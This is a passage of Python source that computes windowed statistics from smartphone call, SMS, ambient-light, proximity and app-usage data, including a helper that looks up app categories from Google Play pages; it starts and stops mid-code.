smsdata: List[DataPoint])\ ->List[DataPoint]: """ Variance of time (in minutes) between two consecutive events (call and sms) for each four hour window. If there is not enough data for a window then there will be no data point for that window. :param List(DataPoint) phonedata: Phone call DataStream :param List(DataPoint) smsdata: SMS DataStream :return: Variances of inter-phone call and sms time over 4 hour windows :rtype: List(DataPoint) or None """ if len(phonedata) + len(smsdata) <= 1: return None tmpphonestream = phonedata tmpsmsstream = smsdata for s in tmpphonestream: s.end_time = s.start_time + datetime.timedelta(seconds=s.sample) for s in tmpsmsstream: s.end_time = s.start_time combined_data = phonedata + smsdata combined_data.sort(key=lambda x: x.start_time) new_data = [] tmp_time = copy.deepcopy(combined_data[0].start_time) tmp_time = tmp_time.replace(hour=0, minute=0, second=0, microsecond=0) for h in range(0, 24, 4): datalist = [] start = tmp_time.replace(hour=h) end = start + datetime.timedelta(hours=3, minutes=59) for d in combined_data: if start <= d.start_time <= end or start <= d.end_time <= end: datalist.append(d) if len(datalist) <= 1: continue new_data.append(DataPoint(start_time=start, end_time=end, offset=combined_data[0].offset, sample=np.var(self.inter_event_time_list(datalist)))) return new_data def average_inter_phone_call_time_hourly(self, phonedata: List[DataPoint])->List[DataPoint]: """ Average time (in minutes) between two consecutive call for each hour window. If there is not enough data for a window then there will be no data point for that window. :param List(DataPoint) phonedata: Phone call DataStream :return: Average inter-phone call time over 1 hour windows :rtype: List(DataPoint) or None """ if len(phonedata) <= 1: return None combined_data = phonedata for s in combined_data: s.end_time = s.start_time + datetime.timedelta(seconds=s.sample) new_data = [] tmp_time = copy.deepcopy(combined_data[0].start_time) tmp_time = tmp_time.replace(hour=0, minute=0, second=0, microsecond=0) for h in range(0, 24): datalist = [] start = tmp_time.replace(hour=h) end = start + datetime.timedelta(minutes=59) for d in combined_data: if start <= d.start_time <= end or start <= d.end_time <= end: datalist.append(d) if len(datalist) <= 1: continue new_data.append(DataPoint(start_time=start, end_time=end, offset=combined_data[0].offset, sample=sum(self.inter_event_time_list(datalist)) / (len(datalist) - 1))) return new_data def average_inter_phone_call_time_four_hourly(self, phonedata: List[DataPoint])->List[DataPoint]: """ Average time (in minutes) between two consecutive call for each four hour window. If there is not enough data for a window then there will be no data point for that window. :param List(DataPoint) phonedata: Phone call DataStream :return: Average inter-phone call time over 4 hour windows :rtype: List(DataPoint) or None """ if len(phonedata) <= 1: return None combined_data = phonedata for s in combined_data: s.end_time = s.start_time + datetime.timedelta(seconds=s.sample) new_data = [] tmp_time = copy.deepcopy(combined_data[0].start_time) tmp_time = tmp_time.replace(hour=0, minute=0, second=0, microsecond=0) for h in range(0, 24, 4): datalist = [] start = tmp_time.replace(hour=h) end = start + datetime.timedelta(hours=3, minutes=59) for d in combined_data: if start <= d.start_time <= end or start <= d.end_time <= end: datalist.append(d) if len(datalist) <= 1: continue new_data.append(DataPoint(start_time=start, end_time=end, offset=combined_data[0].offset, sample=sum(self.inter_event_time_list(datalist)) / (len(datalist) - 1))) return new_data def average_inter_phone_call_time_daily(self, phonedata: List[DataPoint])->List[DataPoint]: """ Average time (in minutes) between two consecutive call for a whole day. If there is not enough data for the day then it will return None. :param List(DataPoint) phonedata: Phone call DataStream :return: Average inter-phone call time over 1 day window :rtype: List(DataPoint) or None """ if len(phonedata) <= 1: return None combined_data = phonedata for s in combined_data: s.end_time = s.start_time + datetime.timedelta(seconds=s.sample) start_time = datetime.datetime(year=combined_data[0].start_time.year, month=combined_data[0].start_time.month, day=combined_data[0].start_time.day, tzinfo=combined_data[0].start_time.tzinfo) end_time = start_time + datetime.timedelta(hours=23, minutes=59) new_data = [DataPoint(start_time=start_time, end_time=end_time, offset=combined_data[0].offset, sample=sum(self.inter_event_time_list(combined_data)) / (len(combined_data) - 1))] return new_data def variance_inter_phone_call_time_hourly(self, phonedata: List[DataPoint])->List[DataPoint]: """ Variance of time (in minutes) between two consecutive call for each hour window. If there is not enough data for a window then there will be no data point for that window. :param List(DataPoint) phonedata: Phone call DataStream :return: Average inter-phone call time over 1 hour windows :rtype: List(DataPoint) or None """ if len(phonedata) <= 1: return None combined_data = phonedata for s in combined_data: s.end_time = s.start_time + datetime.timedelta(seconds=s.sample) new_data = [] tmp_time = copy.deepcopy(combined_data[0].start_time) tmp_time = tmp_time.replace(hour=0, minute=0, second=0, microsecond=0) for h in range(0, 24): datalist = [] start = tmp_time.replace(hour=h) end = start + datetime.timedelta(minutes=59) for d in combined_data: if start <= d.start_time <= end or start <= d.end_time <= end: datalist.append(d) if len(datalist) <= 1: continue new_data.append(DataPoint(start_time=start, end_time=end, offset=combined_data[0].offset, sample=np.var(self.inter_event_time_list(datalist)))) return new_data def variance_inter_phone_call_time_four_hourly(self, phonedata: List[DataPoint])->List[DataPoint]: """ Variance of time (in minutes) between two consecutive call for each four hour window. If there is not enough data for a window then there will be no data point for that window. :param List(DataPoint) phonedata: Phone call DataStream :return: Variance of inter-phone call time over 4 hour windows :rtype: List(DataPoint) or None """ if len(phonedata) <= 1: return None combined_data = phonedata for s in combined_data: s.end_time = s.start_time + datetime.timedelta(seconds=s.sample) new_data = [] tmp_time = copy.deepcopy(combined_data[0].start_time) tmp_time = tmp_time.replace(hour=0, minute=0, second=0, microsecond=0) for h in range(0, 24, 4): datalist = [] start = tmp_time.replace(hour=h) end = start + datetime.timedelta(hours=3, minutes=59) for d in combined_data: if start <= d.start_time <= end or start <= d.end_time <= end: datalist.append(d) if len(datalist) <= 1: continue new_data.append(DataPoint(start_time=start, end_time=end, offset=combined_data[0].offset, sample=np.var(self.inter_event_time_list(datalist)))) return new_data def variance_inter_phone_call_time_daily(self, phonedata: List[DataPoint]) -> List[DataPoint]: """ Average time (in minutes) between two consecutive call for a day. If there is not enough data for the day then it will return None. :param List(DataPoint) phonedata: Phone call DataStream :return: Variance of inter-phone call time over 1 day windows :rtype: List(DataPoint) or None """ if len(phonedata) <= 1: return None combined_data = phonedata for s in combined_data: s.end_time = s.start_time + datetime.timedelta(seconds=s.sample) start_time = datetime.datetime(year=combined_data[0].start_time.year, month=combined_data[0].start_time.month, day=combined_data[0].start_time.day, tzinfo=combined_data[0].start_time.tzinfo) end_time = start_time + datetime.timedelta(hours=23, minutes=59) new_data = [DataPoint(start_time=start_time, end_time=end_time, offset=combined_data[0].offset, sample=np.var(self.inter_event_time_list(combined_data)))] return new_data def average_inter_sms_time_hourly(self, smsdata: List[DataPoint]) -> List[DataPoint]: """ Average time (in minutes) between two consecutive sms for each hour window. If there is not enough data for a window then there will be no data point for that window. :param List(DataPoint) smsdata: SMS DataStream :return: Average inter-sms time over 1 hour windows :rtype: List(DataPoint) or None """ if len(smsdata) <= 1: return None combined_data = smsdata for s in combined_data: s.end_time = s.start_time + datetime.timedelta(seconds=s.sample) new_data = [] tmp_time = copy.deepcopy(combined_data[0].start_time) tmp_time = tmp_time.replace(hour=0, minute=0, second=0, microsecond=0) for h in range(0, 24): datalist = [] start = tmp_time.replace(hour=h) end = start + datetime.timedelta(minutes=59) for d in combined_data: if start <= d.start_time <= end or start <= d.end_time <= end: datalist.append(d) if len(datalist) <= 1: continue new_data.append(DataPoint(start_time=start, end_time=end, offset=combined_data[0].offset, sample=sum(self.inter_event_time_list(datalist)) / (len(datalist) - 1))) return new_data def average_inter_sms_time_four_hourly(self, smsdata: List[DataPoint]) -> List[DataPoint]: """ Average time (in minutes) between two consecutive sms for each four hour window. If there is not enough data for a window then there will be no data point for that window. :param List(DataPoint) smsdata: SMS DataStream :return: Average inter-sms time over 4 hour windows :rtype: List(DataPoint) or None """ if len(smsdata) <= 1: return None combined_data = smsdata for s in combined_data: s.end_time = s.start_time + datetime.timedelta(seconds=s.sample) new_data = [] tmp_time = copy.deepcopy(combined_data[0].start_time) tmp_time = tmp_time.replace(hour=0, minute=0, second=0, microsecond=0) for h in range(0, 24, 4): datalist = [] start = tmp_time.replace(hour=h) end = start + datetime.timedelta(hours=3, minutes=59) for d in combined_data: if start <= d.start_time <= end or start <= d.end_time <= end: datalist.append(d) if len(datalist) <= 1: continue new_data.append(DataPoint(start_time=start, end_time=end, offset=combined_data[0].offset, sample=sum(self.inter_event_time_list(datalist)) / (len(datalist) - 1))) return new_data def average_inter_sms_time_daily(self, smsdata: List[DataPoint]) -> List[DataPoint]: """ Average time (in minutes) between two consecutive sms for a day. If there is not enough data for the day then it will return None. :param List(DataPoint) smsdata: SMS DataStream :return: Average inter-sms time over 1 day windows :rtype: List(DataPoint) or None """ if len(smsdata) <= 1: return None combined_data = smsdata for s in combined_data: s.end_time = s.start_time + datetime.timedelta(seconds=s.sample) start_time = datetime.datetime(year=combined_data[0].start_time.year, month=combined_data[0].start_time.month, day=combined_data[0].start_time.day, tzinfo=combined_data[0].start_time.tzinfo) end_time = start_time + datetime.timedelta(hours=23, minutes=59) new_data = [DataPoint(start_time=start_time, end_time=end_time, offset=combined_data[0].offset, sample=sum(self.inter_event_time_list(combined_data)) / (len(combined_data) - 1))] return new_data def variance_inter_sms_time_hourly(self, smsdata: List[DataPoint]) -> List[DataPoint]: """ Variance of time (in minutes) between two consecutive sms for each hour window. If there is not enough data for a window then there will be no data point for that window. :param List(DataPoint) smsdata: SMS DataStream :return: Variance of inter-sms time over 1 hour windows :rtype: List(DataPoint) or None """ if len(smsdata) <= 1: return None combined_data = smsdata for s in combined_data: s.end_time = s.start_time + datetime.timedelta(seconds=s.sample) new_data = [] tmp_time = copy.deepcopy(combined_data[0].start_time) tmp_time = tmp_time.replace(hour=0, minute=0, second=0, microsecond=0) for h in range(0, 24): datalist = [] start = tmp_time.replace(hour=h) end = start + datetime.timedelta(minutes=59) for d in combined_data: if start <= d.start_time <= end or start <= d.end_time <= end: datalist.append(d) if len(datalist) <= 1: continue new_data.append(DataPoint(start_time=start, end_time=end, offset=combined_data[0].offset, sample=np.var(self.inter_event_time_list(datalist)))) return new_data def variance_inter_sms_time_four_hourly(self, smsdata: List[DataPoint]) -> List[DataPoint]: """ Average time (in minutes) between two consecutive sms for each four hour window. If there is not enough data for a window then there will be no data point for that window. :param List(DataPoint) smsdata: SMS DataStream :return: Variance of inter-sms time over 4 hour windows :rtype: List(DataPoint) or None """ if len(smsdata) <= 1: return None combined_data = smsdata for s in combined_data: s.end_time = s.start_time + datetime.timedelta(seconds=s.sample) new_data = [] tmp_time = copy.deepcopy(combined_data[0].start_time) tmp_time = tmp_time.replace(hour=0, minute=0, second=0, microsecond=0) for h in range(0, 24, 4): datalist = [] start = tmp_time.replace(hour=h) end = start + datetime.timedelta(hours=3, minutes=59) for d in combined_data: if start <= d.start_time <= end or start <= d.end_time <= end: datalist.append(d) if len(datalist) <= 1: continue new_data.append(DataPoint(start_time=start, end_time=end, offset=combined_data[0].offset, sample=np.var(self.inter_event_time_list(datalist)))) return new_data def variance_inter_sms_time_daily(self, smsdata: List[DataPoint]) -> List[DataPoint]: """ Average time (in minutes) between two consecutive sms for a day. If there is not enough data for that day, then it will return None. :param List(DataPoint) smsdata: SMS DataStream :return: Variance of inter-sms time over 1 daily windows :rtype: List(DataPoint) or None """ if len(smsdata) <= 1: return None combined_data = smsdata for s in combined_data: s.end_time = s.start_time + datetime.timedelta(seconds=s.sample) start_time = datetime.datetime(year=combined_data[0].start_time.year, month=combined_data[0].start_time.month, day=combined_data[0].start_time.day, tzinfo=combined_data[0].start_time.tzinfo) end_time = start_time + datetime.timedelta(hours=23, minutes=59) new_data = [DataPoint(start_time=start_time, end_time=end_time, offset=combined_data[0].offset, sample=np.var(self.inter_event_time_list(combined_data)))] return new_data def average_call_duration_daily(self, phonedata: List[DataPoint]) -> List[DataPoint]: """ Average time (in minutes) spent in call in a day. If there is not enough data for that day then it will return None. :param List(DataPoint) phonedata: Phone call DataStream :return: Average call duration over 1 day windows :rtype: List(DataPoint) or None """ if len(phonedata) < 1: return None data = phonedata start_time = datetime.datetime.combine(data[0].start_time.date(), datetime.datetime.min.time()) start_time = start_time.replace(tzinfo=data[0].start_time.tzinfo) end_time = start_time + datetime.timedelta(hours=23, minutes=59) new_data = [DataPoint(start_time=start_time, end_time=end_time, offset=data[0].offset, sample=sum([d.sample for d in data]) / len(data))] return new_data def average_call_duration_hourly(self, phonedata: List[DataPoint]) -> List[DataPoint]: """ Average time (in minutes) spent in call for each hour window. If there is not enough data for any window then there will no data point for that window. :param List(DataPoint) phonedata: Phone call DataStream :return: Average phone call duration over 1 hour windows :rtype: List(DataPoint) or None """ if len(phonedata) < 1: return None data = copy.deepcopy(phonedata) for s in data: s.end_time = s.start_time + datetime.timedelta(seconds=s.sample) new_data = [] tmp_time = datetime.datetime.combine(data[0].start_time.date(), datetime.datetime.min.time()) tmp_time = tmp_time.replace(tzinfo=data[0].start_time.tzinfo) for h in range(0, 24): datalist = [] start = tmp_time.replace(hour=h) end = start + datetime.timedelta(minutes=59) for d in data: if start <= d.start_time <= end and start <= d.end_time <= end: datalist.append(d.sample) elif start <= d.start_time <= end: datalist.append((end - d.start_time).total_seconds()) elif start <= d.end_time <= end: datalist.append((d.start_time - end).total_seconds()) if len(datalist) < 1: continue new_data.append(DataPoint(start_time=start, end_time=end, offset=data[0].offset, sample=sum(datalist) / len(datalist))) return new_data def average_call_duration_four_hourly(self, phonedata: List[DataPoint]) -> List[DataPoint]: """ Average time (in minutes) spent in call for each four hour window. If there is not enough data for any window then there will no data point for that window. :param List(DataPoint) phonedata: Phone call DataStream :return: Average phone call duration over 4 hour windows :rtype: List(DataPoint) or None """ if len(phonedata) < 1: return None data = copy.deepcopy(phonedata) for s in data: s.end_time = s.start_time + datetime.timedelta(seconds=s.sample) new_data = [] tmp_time = datetime.datetime.combine(data[0].start_time.date(), datetime.datetime.min.time()) tmp_time = tmp_time.replace(tzinfo=data[0].start_time.tzinfo) for h in range(0, 24, 4): datalist = [] start = tmp_time.replace(hour=h) end = start + datetime.timedelta(hours=3, minutes=59) for d in data: if start <= d.start_time <= end and start <= d.end_time <= end: datalist.append(d.sample) elif start <= d.start_time <= end: datalist.append((end - d.start_time).total_seconds()) elif start <= d.end_time <= end: datalist.append((d.start_time - end).total_seconds()) if len(datalist) < 1: continue new_data.append(DataPoint(start_time=start, end_time=end, offset=data[0].offset, sample=sum(datalist) / len(datalist))) return new_data def average_sms_length_daily(self, smsdata: List[DataPoint]) -> List[DataPoint]: """ Average sms length for a day. If there is not enough data for that day then it will return None. :param List(DataPoint) phonedata: Phone call DataStream :return: Average sms length over 1 day windows :rtype: List(DataPoint) or None """ if len(smsdata) < 1: return None data = smsdata start_time = datetime.datetime.combine(data[0].start_time.date(), datetime.datetime.min.time()) start_time = start_time.replace(tzinfo=data[0].start_time.tzinfo) end_time = start_time + datetime.timedelta(hours=23, minutes=59) new_data = [DataPoint(start_time=start_time, end_time=end_time, offset=data[0].offset, sample=sum([d.sample for d in data]) / len(data))] return new_data def average_sms_length_hourly(self, smsdata: List[DataPoint]) -> List[DataPoint]: """ Average sms length for each hour window. If there is not enough data for any window then there will no data point for that window. :param List(DataPoint) smsdata: SMS DataStream :return: Average SMS length over 1 hour windows :rtype: List(DataPoint) or None """ if len(smsdata) < 1: return None data = smsdata new_data = [] tmp_time = datetime.datetime.combine(data[0].start_time.date(), datetime.datetime.min.time()) tmp_time = tmp_time.replace(tzinfo=data[0].start_time.tzinfo) for h in range(0, 24): datalist = [] start = tmp_time.replace(hour=h) end = start + datetime.timedelta(minutes=59) for d in data: if start <= d.start_time <= end: datalist.append(d.sample) if len(datalist) < 1: continue new_data.append(DataPoint(start_time=start, end_time=end, offset=data[0].offset, sample=sum(datalist) / len(datalist))) return new_data def average_sms_length_four_hourly(self, smsdata: List[DataPoint]) -> List[DataPoint]: """ Average sms length for each four hour window. If there is not enough data for any window then there will no data point for that window. :param List(DataPoint) smsdata: SMS DataStream :return: Average sms length over 4 hour windows :rtype: List(DataPoint) or None """ if len(smsdata) < 1: return None data = smsdata new_data = [] tmp_time = datetime.datetime.combine(data[0].start_time.date(), datetime.datetime.min.time()) tmp_time = tmp_time.replace(tzinfo=data[0].start_time.tzinfo) for h in range(0, 24, 4): datalist = [] start = tmp_time.replace(hour=h) end = start + datetime.timedelta(hours=3, minutes=59) for d in data: if start <= d.start_time <= end: datalist.append(d.sample) if len(datalist) < 1: continue new_data.append(DataPoint(start_time=start, end_time=end, offset=data[0].offset, sample=sum(datalist) / len(datalist))) return new_data def variance_sms_length_daily(self, smsdata: List[DataPoint]) -> List[DataPoint]: """ Variance of sms length for a day. If there is not enough data for that day, then it will return None. :param List(DataPoint) smsdata: SMS DataStream :return: Variance of SMS length over 1 day windows :rtype: List(DataPoint) or None """ if len(smsdata) < 1: return None data = smsdata start_time = datetime.datetime.combine(data[0].start_time.date(), datetime.datetime.min.time()) start_time = start_time.replace(tzinfo=data[0].start_time.tzinfo) end_time = start_time + datetime.timedelta(hours=23, minutes=59) new_data = [DataPoint(start_time=start_time, end_time=end_time, offset=data[0].offset, sample=np.var([d.sample for d in data]))] return new_data def variance_sms_length_hourly(self, smsdata: List[DataPoint]) -> List[DataPoint]: """ Variance of sms length for each hour window. If there is not enough data for any window then there will no data point for that window. :param List(DataPoint) smsdata: SMS DataStream :return: Variance of SMS length over 1 hour windows :rtype: List(DataPoint) or None """ if len(smsdata) < 1: return None data = smsdata new_data = [] tmp_time = datetime.datetime.combine(data[0].start_time.date(), datetime.datetime.min.time()) tmp_time = tmp_time.replace(tzinfo=data[0].start_time.tzinfo) for h in range(0, 24): datalist = [] start = tmp_time.replace(hour=h) end = start + datetime.timedelta(minutes=59) for d in data: if start <= d.start_time <= end: datalist.append(d.sample) if len(datalist) < 1: continue new_data.append(DataPoint(start_time=start, end_time=end, offset=data[0].offset, sample=np.var(datalist))) return new_data def variance_sms_length_four_hourly(self, smsdata: List[DataPoint])-> List[DataPoint]: """ Variance of sms length for each four hour window. If there is not enough data for any window then there will no data point for that window. :param List(DataPoint) smsdata: SMS DataStream :return: Variance of SMS length over 4 hour windows :rtype: List(DataPoint) or None """ if len(smsdata) < 1: return None data = smsdata new_data = [] tmp_time = datetime.datetime.combine(data[0].start_time.date(), datetime.datetime.min.time()) tmp_time = tmp_time.replace(tzinfo=data[0].start_time.tzinfo) for h in range(0, 24, 4): datalist = [] start = tmp_time.replace(hour=h) end = start + datetime.timedelta(hours=3, minutes=59) for d in data: if start <= d.start_time <= end: datalist.append(d.sample) if len(datalist) < 1: continue new_data.append(DataPoint(start_time=start, end_time=end, offset=data[0].offset, sample=np.var(datalist))) return new_data def variance_call_duration_daily(self, phonedata: List[DataPoint]) -> List[DataPoint]: """ Variance of call duration in minutes for a day. If there is not enough data for that day then it will return None. :param List(DataPoint) phonedata: Phone call duration DataStream :return: Variance of phone call duration over 1 day windows :rtype: List(DataPoint) or None """ if len(phonedata) < 1: return None data = phonedata start_time = datetime.datetime.combine(data[0].start_time.date(), datetime.datetime.min.time()) start_time = start_time.replace(tzinfo=data[0].start_time.tzinfo) end_time = start_time + datetime.timedelta(hours=23, minutes=59) new_data = [DataPoint(start_time=start_time, end_time=end_time, offset=data[0].offset, sample=np.var([d.sample for d in data]))] return new_data def variance_call_duration_hourly(self, phonedata: List[DataPoint]) -> List[DataPoint]: """ Variance of call duration in minutes for each hour window. If there is not enough data for any window then there will no data point for that window. :param List(DataPoint) phonedata: Phone call duration DataStream :return: Variance of phone call duration over 1 hour windows :rtype: List(DataPoint) or None """ if len(phonedata) < 1: return None data = copy.deepcopy(phonedata) for s in data: s.end_time = s.start_time + datetime.timedelta(seconds=s.sample) new_data = [] tmp_time = datetime.datetime.combine(data[0].start_time.date(), datetime.datetime.min.time()) tmp_time = tmp_time.replace(tzinfo=data[0].start_time.tzinfo) for h in range(0, 24): datalist = [] start = tmp_time.replace(hour=h) end = start + datetime.timedelta(minutes=59) for d in data: if start <= d.start_time <= end and start <= d.end_time <= end: datalist.append(d.sample) elif start <= d.start_time <= end: datalist.append((end - d.start_time).total_seconds()) elif start <= d.end_time <= end: datalist.append((d.start_time - end).total_seconds()) if len(datalist) < 1: continue new_data.append(DataPoint(start_time=start, end_time=end, offset=data[0].offset, sample=np.var(datalist))) return new_data def variance_call_duration_four_hourly(self, phonedata: List[DataPoint]) -> List[DataPoint]: """ Variance of call duration in minutes for each four hour window. If there is not enough data for any window then there will no data point for that window. :param List(DataPoint) phonedata: Phone call duration DataStream :return: Variance of phone call duration over 4 hour windows :rtype: List(DataPoint) or None """ if len(phonedata) < 1: return None data = copy.deepcopy(phonedata) for s in data: s.end_time = s.start_time + datetime.timedelta(seconds=s.sample) new_data = [] tmp_time = datetime.datetime.combine(data[0].start_time.date(), datetime.datetime.min.time()) tmp_time = tmp_time.replace(tzinfo=data[0].start_time.tzinfo) for h in range(0, 24, 4): datalist = [] start = tmp_time.replace(hour=h) end = start + datetime.timedelta(hours=3, minutes=59) for d in data: if start <= d.start_time <= end and start <= d.end_time <= end: datalist.append(d.sample) elif start <= d.start_time <= end: datalist.append((end - d.start_time).total_seconds()) elif start <= d.end_time <= end: datalist.append((d.start_time - end).total_seconds()) if len(datalist) < 1: continue new_data.append(DataPoint(start_time=start, end_time=end, offset=data[0].offset, sample=np.var(datalist))) return new_data def average_ambient_light_daily(self, lightdata: List[DataPoint], data_frequency: float=16, minimum_data_percent: float=40) -> List[DataPoint]: """ Average ambient light (in flux) for a day. If the input light data is less than minimum_data_percent% which is default 40%, it will return None. :param List(DataPoint) lightdata: Phone ambient light DataStream :param float data_frequency: How many data point should generate in a second :param float minimum_data_percent: Minimum percent of data should be available :return: Average of ambient light over 1 day windows :rtype: List(DataPoint) or None """ if len(lightdata) < data_frequency * 24 * 60 * 60 * minimum_data_percent / 100: return None start_time = datetime.datetime.combine(lightdata[0].start_time.date(), datetime.datetime.min.time()) start_time = start_time.replace(tzinfo=lightdata[0].start_time.tzinfo) end_time = start_time + datetime.timedelta(hours=23, minutes=59) return [DataPoint(start_time, end_time, lightdata[0].offset, np.mean([x.sample for x in lightdata]))] def average_ambient_light_hourly(self, lightdata: List[DataPoint], data_frequency: float=16, minimum_data_percent: float=40) -> List[DataPoint]: """ Average ambient light (in flux) for each hour window in a day. If the input light data is less than minimum_data_percent% which is default 40%, in a window then it will not generate any data point for that window. :param List(DataPoint) lightdata: Phone ambient light DataStream :param float data_frequency: How many data point should generate in a second :param float minimum_data_percent: Minimum percent of data should be available :return: Average of ambient light over 1 hour windows :rtype: List(DataPoint) or None """ if len(lightdata) < 1: return None data = lightdata new_data = [] tmp_time = copy.deepcopy(data[0].start_time) tmp_time = tmp_time.replace(hour=0, minute=0, second=0, microsecond=0) for h in range(0, 24): datalist = [] start = tmp_time.replace(hour=h) end = start + datetime.timedelta(minutes=59) for d in data: if start <= d.start_time <= end: datalist.append(d.sample) if len(datalist) < data_frequency * 60 * 60 * minimum_data_percent / 100: continue new_data.append(DataPoint(start_time=start, end_time=end, offset=data[0].offset, sample=np.mean(datalist))) return new_data def average_ambient_light_four_hourly(self, lightdata: List[DataPoint], data_frequency: float=16, minimum_data_percent: float=40) -> List[DataPoint]: """ Average ambient light (in flux) for each four hour window in a day. If the input light data is less than minimum_data_percent%, which is default 40%, in a window then it will not generate any data point for that window. :param List(DataPoint) lightdata: Phone ambient light DataStream :param float data_frequency: How many data point should generate in a second :param float minimum_data_percent: Minimum percent of data should be available :return: Average of ambient light over 4 hour windows :rtype: List(DataPoint) or None """ if len(lightdata) < 1: return None data = lightdata new_data = [] tmp_time = copy.deepcopy(data[0].start_time) tmp_time = tmp_time.replace(hour=0, minute=0, second=0, microsecond=0) for h in range(0, 24, 4): datalist = [] start = tmp_time.replace(hour=h) end = start + datetime.timedelta(hours=3, minutes=59) for d in data: if start <= d.start_time <= end: datalist.append(d.sample) if len(datalist) < data_frequency * 4 * 60 * 60 * minimum_data_percent / 100: continue new_data.append(DataPoint(start_time=start, end_time=end, offset=data[0].offset, sample=np.mean(datalist))) return new_data def variance_ambient_light_daily(self, lightdata: List[DataPoint], data_frequency: float=16, minimum_data_percent: float=40) -> List[DataPoint]: """ Variance of ambient light (in flux) for a day. If the input light data is less than minimum_data_percent% which is default 40%, it will return None. :param List(DataPoint) lightdata: Phone ambient light DataStream :param float data_frequency: How many data point should generate in a second :param float minimum_data_percent: Minimum percent of data should be available :return: Variance of ambient light over 1 day windows :rtype: List(DataPoint) or None """ if len(lightdata) < data_frequency * 24 * 60 * 60 * minimum_data_percent / 100: return None start_time = datetime.datetime.combine(lightdata[0].start_time.date(), datetime.datetime.min.time()) start_time = start_time.replace(tzinfo=lightdata[0].start_time.tzinfo) end_time = start_time + datetime.timedelta(hours=23, minutes=59) return [DataPoint(start_time, end_time, lightdata[0].offset, np.var([x.sample for x in lightdata]))] def variance_ambient_light_hourly(self, lightdata: List[DataPoint], data_frequency: float=16, minimum_data_percent: float=40) -> List[DataPoint]: """ Variance of ambient light (in flux) for each hour window in a day. If the input light data is less than minimum_data_percent%, which is default 40%, in a window then it will not generate any data point for that window. :param List(DataPoint) lightdata: Phone ambient light DataStream :param float data_frequency: How many data point should generate in a second :param float minimum_data_percent: Minimum percent of data should be available :return: Variance of ambient light over 1 hour windows :rtype: List(DataPoint) or None """ if len(lightdata) < 1: return None data = lightdata new_data = [] tmp_time = copy.deepcopy(data[0].start_time) tmp_time = tmp_time.replace(hour=0, minute=0, second=0, microsecond=0) for h in range(0, 24): datalist = [] start = tmp_time.replace(hour=h) end = start + datetime.timedelta(minutes=59) for d in data: if start <= d.start_time <= end: datalist.append(d.sample) if len(datalist) < data_frequency * 60 * 60 * minimum_data_percent / 100: continue new_data.append(DataPoint(start_time=start, end_time=end, offset=data[0].offset, sample=np.var(datalist))) return new_data def variance_ambient_light_four_hourly(self, lightdata: List[DataPoint], data_frequency: float=16, minimum_data_percent: float=40) -> List[DataPoint]: """ Variance of ambient light (in flux) for each four hour window in a day. If the input light data is less than minimum_data_percent%, which is default 40%, in a window then it will not generate any data point for that window. :param List(DataPoint) lightdata: Phone ambient light DataStream :param float data_frequency: How many data point should generate in a second :param float minimum_data_percent: Minimum percent of data should be available :return: Variance of ambient light over 4 hour windows :rtype: List(DataPoint) or None """ if len(lightdata) < 1: return None data = lightdata new_data = [] tmp_time = copy.deepcopy(data[0].start_time) tmp_time = tmp_time.replace(hour=0, minute=0, second=0, microsecond=0) for h in range(0, 24, 4): datalist = [] start = tmp_time.replace(hour=h) end = start + datetime.timedelta(hours=3, minutes=59) for d in data: if start <= d.start_time <= end: datalist.append(d.sample) if len(datalist) < data_frequency * 4 * 60 * 60 * minimum_data_percent / 100: continue new_data.append(DataPoint(start_time=start, end_time=end, offset=data[0].offset, sample=np.var(datalist))) return new_data def calculate_phone_outside_duration(self, data: List[DataPoint], phone_inside_threshold_second: float=60) -> List[DataPoint]: """ Finds the duration (start_time and end_time) of phone outside (not in pocket or parse). It uses a threshold (phone_inside_threshold_second), such that, if there is a duration of at least this amount of consecutive time the phone proximity is 0, then this will be a period of phone inside. :param List(DataPoint) data: Phone proximity Datastream :param float phone_inside_threshold_second: Threshold in seconds, that is allowed with proximity 0 with phone outside :return: DataPoints containing intervals of phone outside :rtype: List(DataPoint) """ outside_data = [] threshold = timedelta(seconds=phone_inside_threshold_second) L = len(data) i = 0 while i < L and data[i].sample == 0: i += 1 if i == L: return outside_data start = data[i].start_time while i < L: while i < L and data[i].sample > 0: i += 1 if i == L: outside_data.append(DataPoint(start, data[i - 1].start_time, data[i - 1].offset, "Outside")) break cur = data[i].start_time while i < L and data[i].sample == 0: i += 1 if i == L or i < L and data[i].start_time - cur >= threshold: outside_data.append(DataPoint(start, cur, data[0].offset, "Outside")) if i < L: start = data[i].start_time return outside_data # lru_cache is used to cache the result of this function @lru_cache(maxsize=256) def get_app_category(self, appid: str) -> List[str]: """ Fetch and parse the google play store page of the android app and return the category. If there are multiple category it will return the first one in the webpage. Only for the GAME category it will return the sub-category also. :param str appid: package name of an app :return: [package_name, category (if exists, otherwise None) , app_name (if exists, otherwise None), sub_category (if exists, otherwise None)] :rtype: List(str) """ appid = appid.strip() if appid == "com.samsung.android.messaging": return [appid, "Communication", "Samsung Message", None] url = "https://play.google.com/store/apps/details?id=" + appid cached_response = None #cached_response = self.CC.get_cache_value(appid) response = None if cached_response is None: try: time.sleep(2.0) self.CC.logging.log('%s not found in cache.' % (appid)) response = urlopen(url) except Exception: toreturn = [appid, None, None, None] objstr = base64.b64encode(pickle.dumps(toreturn)) #self.CC.set_cache_value(appid, objstr.decode()) return toreturn else: return pickle.loads(base64.decodebytes(cached_response.encode())) soup = BeautifulSoup(response, 'html.parser') text = soup.find('span', itemprop='genre') name = soup.find('div', class_='id-app-title') cat = soup.find('a', class_='document-subtitle category') if cat: category = cat.attrs['href'].split('/')[-1] else: category = None toreturn = None if category and category.startswith('GAME_'): toreturn = [appid, "Game", str(name.contents[0]) if name else None, str(text.contents[0])] elif text: toreturn = [appid, str(text.contents[0]), str(name.contents[0]) if name else None, None] else: toreturn = [appid, None, str(name.contents[0]) if name else None, None] objstr = base64.b64encode(pickle.dumps(toreturn)) self.CC.set_cache_value(appid, objstr.decode()) return toreturn def get_appusage_duration_by_category(self, appdata: List[DataPoint], categories: List[str], appusage_gap_threshold_seconds: float=120) -> List: """ Given the app category, it will return the list of duration when the app was used. It is assumed that if the gap between two consecutive data points with same app usage is within the appusage_gap_threshold_seconds time then, the app usage is in same session. :param List(DataPoint) appdata: App category data stream :param List(str) categories: List of app categories of which the usage duration should be calculated :param float appusage_gap_threshold_seconds: Threshold in seconds, which is the gap allowed between two consecutive DataPoint of same app :return: A list of intervals of the given apps (categories) usage [start_time, end_time, category] :rtype: List """ appdata = sorted(appdata, key=lambda x: x.start_time) appusage = [] i = 0 threshold = timedelta(seconds=appusage_gap_threshold_seconds) while i < len(appdata): d = appdata[i] category = d.sample[1] if category not in categories: i += 1 continue j = i + 1 while j < len(appdata) and 